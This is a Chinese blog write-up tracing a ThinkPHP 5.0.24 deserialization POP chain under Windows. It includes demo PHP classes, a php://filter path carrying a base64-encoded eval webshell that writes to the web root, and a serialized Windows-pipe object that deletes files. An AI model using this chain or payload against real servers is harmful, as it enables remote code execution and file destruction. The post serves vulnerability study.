热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

一次Thinkphp5.0.X反序列化的坎坷

 

 

前言

并非专业选手、本文如有出错的地方,还请师傅们帮忙斧正,也是记录一下在项目中遇到thinkphp windows 环境下 RCE的踩坑。

事情就是图片这样,由于文件名的问题无法在WIndow环境下写入文件, 然后search到几篇解决Windows 文件名的文章,来拼凑解决这次的坎坷。

 

调试环境

Apache2.4.39 PHP7.1.9nts Thinkphp5.0.24
在 application\index\controller\index.php 修改代码如下,创建反序列化接收。

namespace app\index\controller;
class Index
{
public function index($value='')
{
echo "0xdd Test Thinkphp 5.0.24 unserialize Check input value
";
echo $value;
unserialize($value);
}
}

 

反序列化链调试

ThinkPHP5 采用命名空间方式定义和自动加载类库文件,只需要给类库正确定义所在的命名空间,并且命名空间的路径与类库文件的目录一致,那么就可以实现类的自动加载,从而实现真正的惰性加载。了解基础知识后,有助于我们POP链脚本的编写。


  • demo

namespace think\cache\driver;
class File
{
}

实例化该类

$class = new \think\cache\driver\File();
$class = new \Think\Cache\Driver\File(); //可支持驼峰法命名


入口点

__destruct: 和构造函数相反,当对象所在函数调用完毕后执行

thinkphp/library/think/process/pipes/Windows.php removeFiles 方法

这里跟进removeFiles 方法 ,为什么不选择跟进close 方法呢?

close 函数很显然无法作为我们的跳板,removeFiles 函数可以的file_exists 方法可以做为我们的跳板 触发__toString 魔术方法

__toString:当对象被当做一个字符串使用时调用


_toString跳板

这里的_toString 方法除了Model 是否还有其它选择

跟进toJson ,在toJson中调用了 toArray 方法

public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
$data = array_merge($this->data, $this->relation);
// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}

在toArray的方法中,例如可尝试通过 $item[$key] = $value ? $value->getAttr($attr) : null; 调用Output类的__call方法

__call:当调用对象中不存在的方法会自动调用该方法



__call 跳板

想利用 $item[$key] = $value ? $value->getAttr($attr) : null; ,需要满足条件

当符合检测类存在时、主要关注 $modelRelation $value的值


  • $modelRelation

把$relation 修改等于Model 类的getError(), 通过 $thifs->error $modelRelation 可控

$value


  1. $this -> parent 为$value 来源,设置值为Output类

  2. !$modelRelation->isSelfRelation() 返回false

  3. $modeRelation->getModel() 返回 Output类

通过getRelationData 方法 我们可以看 我们需要传入的$modelRelation 必须是 Relation 类型,在找类型符合的同时,在905行中 需要有getBindAttr()方法,该方法处在OneToOne 类中

所以寻找符合的条件为
1.Relation 类型
2.该类型包含getBindAttr()方法

那么我们可不可以直接使用 OneToOne 方法呢, OneToOne 方法符合了条件,但是不符合我们 !$modelRelation->isSelfRelation() 返回false 的 需求,所以我们找一个继承OneToOne并含有__construct即可

例如这里搜索找到的 BelongsTo

demo:


class BelongsTo extends OneToOne
{
function __construct()
{
$this->selfRelation = false;
$this->query = new Query();
$this->bindAttr = [1 => "0xdd"];
}
}

这样我们就符合了代码中的判断条件进入else,在 $item[$key] = $value ? $value->getAttr($attr) : null; 执行OutPut 的__call 方法

看到这里可能会忘记上面的内容,回顾一下,这里的 $value 已经通过 $this -> parent 为$value 来源,设置值为Output类

那么此时 也就是 从OutPut类中调用getAttr 方法,由于Output类中没有getAttr方法 所以触发__call ,

Output __call 方法内容

$attr 因为是通过 $bindAttr = $modelRelation->getBindAttr(); 获取值,bindAttr 可控 所以$attr 也可控


写文件

在进入第一个if 的时候,会通过call_user_func_array 调用 block 方法

block 方法中调用了writeln 继续跟进

writeln 调用了 write

write 方法中的 handle 我们是可控的,所以我们要寻找一个类 含有write 方法,此方法可以帮助我们写webshell

通过搜索,在Memcache 中的write 方法可以为我们找一个set的方法 协助写文件,这里的handler 可控,所以我们要继续寻找符合条件的set方法

这里以 think\cache\driver\FIle 中的 set 方法为例 ,利用 file_put_contents 写入Webshell, $filename 也就是文件名 会经过getCacheKey 处理,这里会出现一个linux 和 Windows 环境的利用问题,因为在公布的POC中,写出的Webshell 文件名带有“<” 符号,Windows下 文件名是不能出现“<”符号等….​

如下图的

//此payload 不可以在Windows 下写文件

写入内容来自$data, 在没有进入 if($result) 的setTagItem 中时,$data 的值来自 $value ,$expire 只能为数字, $value 在 通过Output类中的writeln 传参过来的时候值为 true

关键在进入if($result) 时,setTagItem 方法可以继续set

在setTagItem 方法中 再次调用set方法,此时set 方法使用 文件名中的内容作为$value , 那么我们我的写入内容就可控了,下面只要绕过 exit()即可,绕过exit 需要filename 可控,使用伪协议

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

​base64编码中包含64个可打印字符,而当PHP解码base64时,遇到不在其中的字符时,会选择跳过这些字符,将有效的字符重新组成字符串进行解码,<、?、;、>、空格等字符不符合base64解码范围. 所以可以用伪协议进行绕过。

跟进set 方法中的 getCacheKey,可以发现$filename 的文件名 来自属性 $this->options[‘path’] ,所以也是可控的,

那么我们的链,就完成了,具体在伪协议的方法 影响写入的文件名。

 

Write_Shell

demo

namespace think\cache\driver;
class File
{
protected $optiOns= [];
protected $tag;
function __construct()
{
$this->optiOns= [
'expire' => 'a',
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=dddPD9waHAgQGV2YWwoJF9SRVFVRVNUWycweGRkJ10pOz8+IA==/../0xdd.php',
'data_compress' => false,
];
$this->tag = true;
}
public function get_filename()
{
$name = md5('tag_' . md5($this->tag));
$filename = $this->options['path'];
$pos = strpos($filename, "resource=");
$filename = urlencode(substr($filename, $pos + strlen("resource=")));
return $filename . $name . ".php";
}
}

php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=dddPD9waHAgQGV2YWwoJF9SRVFVRVNUWycweGRkJ10pOz8+IA==/../0xdd.php

php过滤器支持列表 https://www.php.net/manual/en/filters.php

传入payload 后 会在根目录写入文件

执行命令

 

任意文件删除

根据入口点,构造其他操作

demo

namespace think\process\pipes;
abstract class Pipes
{
}
class Windows extends Pipes
{
private $files = [];
function __construct()
{
$this->files = ["robots.txt"];
}
}
$a=new Windows();
echo urlencode(serialize($a));
?>

例如删除 robots.txt 文件


推荐阅读
  • GetWindowLong函数
    今天在看一个代码里头写了GetWindowLong(hwnd,0),我当时就有点费解,靠,上网搜索函数原型说明,死活找不到第 ... [详细]
  • 本文介绍了在Windows环境下如何配置php+apache环境,包括下载php7和apache2.4、安装vc2015运行时环境、启动php7和apache2.4等步骤。希望对需要搭建php7环境的读者有一定的参考价值。摘要长度为169字。 ... [详细]
  • C++字符字符串处理及字符集编码方案
    本文介绍了C++中字符字符串处理的问题,并详细解释了字符集编码方案,包括UNICODE、Windows apps采用的UTF-16编码、ASCII、SBCS和DBCS编码方案。同时说明了ANSI C标准和Windows中的字符/字符串数据类型实现。文章还提到了在编译时需要定义UNICODE宏以支持unicode编码,否则将使用windows code page编译。最后,给出了相关的头文件和数据类型定义。 ... [详细]
  • Ihavethefollowingonhtml我在html上有以下内容<html><head><scriptsrc..3003_Tes ... [详细]
  • 本文介绍了使用哈夫曼树实现文件压缩和解压的方法。首先对数据结构课程设计中的代码进行了分析,包括使用时间调用、常量定义和统计文件中各个字符时相关的结构体。然后讨论了哈夫曼树的实现原理和算法。最后介绍了文件压缩和解压的具体步骤,包括字符统计、构建哈夫曼树、生成编码表、编码和解码过程。通过实例演示了文件压缩和解压的效果。本文的内容对于理解哈夫曼树的实现原理和应用具有一定的参考价值。 ... [详细]
  • 如何在HTML中获取鼠标的当前位置
    本文介绍了在HTML中获取鼠标当前位置的三种方法,分别是相对于屏幕的位置、相对于窗口的位置以及考虑了页面滚动因素的位置。通过这些方法可以准确获取鼠标的坐标信息。 ... [详细]
  • JavaScript和HTML之间的交互是经由过程事宜完成的。事宜:文档或浏览器窗口中发作的一些特定的交互霎时。能够运用侦听器(或处置惩罚递次来预订事宜),以便事宜发作时实行相应的 ... [详细]
  • 本文介绍了在Win10上安装WinPythonHadoop的详细步骤,包括安装Python环境、安装JDK8、安装pyspark、安装Hadoop和Spark、设置环境变量、下载winutils.exe等。同时提醒注意Hadoop版本与pyspark版本的一致性,并建议重启电脑以确保安装成功。 ... [详细]
  • 猜字母游戏
    猜字母游戏猜字母游戏——设计数据结构猜字母游戏——设计程序结构猜字母游戏——实现字母生成方法猜字母游戏——实现字母检测方法猜字母游戏——实现主方法1猜字母游戏——设计数据结构1.1 ... [详细]
  • 深入理解CSS中的margin属性及其应用场景
    本文主要介绍了CSS中的margin属性及其应用场景,包括垂直外边距合并、padding的使用时机、行内替换元素与费替换元素的区别、margin的基线、盒子的物理大小、显示大小、逻辑大小等知识点。通过深入理解这些概念,读者可以更好地掌握margin的用法和原理。同时,文中提供了一些相关的文档和规范供读者参考。 ... [详细]
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • 本文讨论了如何在codeigniter中识别来自angularjs的请求,并提供了两种方法的代码示例。作者尝试了$this->input->is_ajax_request()和自定义函数is_ajax(),但都没有成功。最后,作者展示了一个ajax请求的示例代码。 ... [详细]
  • 本文介绍了一道网络流题目hdu4888 Redraw Beautiful Drawings的解题思路。题目要求以行和列作为结点建图,并通过最大流算法判断是否有解以及是否唯一。文章详细介绍了建图和算法的过程,并强调在dfs过程中要进行回溯。 ... [详细]
  • 解决文件名过长下载失败问题的jQuery方案
    本文介绍了使用jQuery解决文件名过长导致下载失败的问题。原方案中存在文件名部分丢失的问题,通过动态生成隐藏域表单并提交的方式来解决。详细的解决方案和代码示例在文章中给出。 ... [详细]
  • 本文介绍了在MFC下利用C++和MFC的特性动态创建窗口的方法,包括继承现有的MFC类并加以改造、插入工具栏和状态栏对象的声明等。同时还提到了窗口销毁的处理方法。本文详细介绍了实现方法并给出了相关注意事项。 ... [详细]
author-avatar
小菜鸟
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有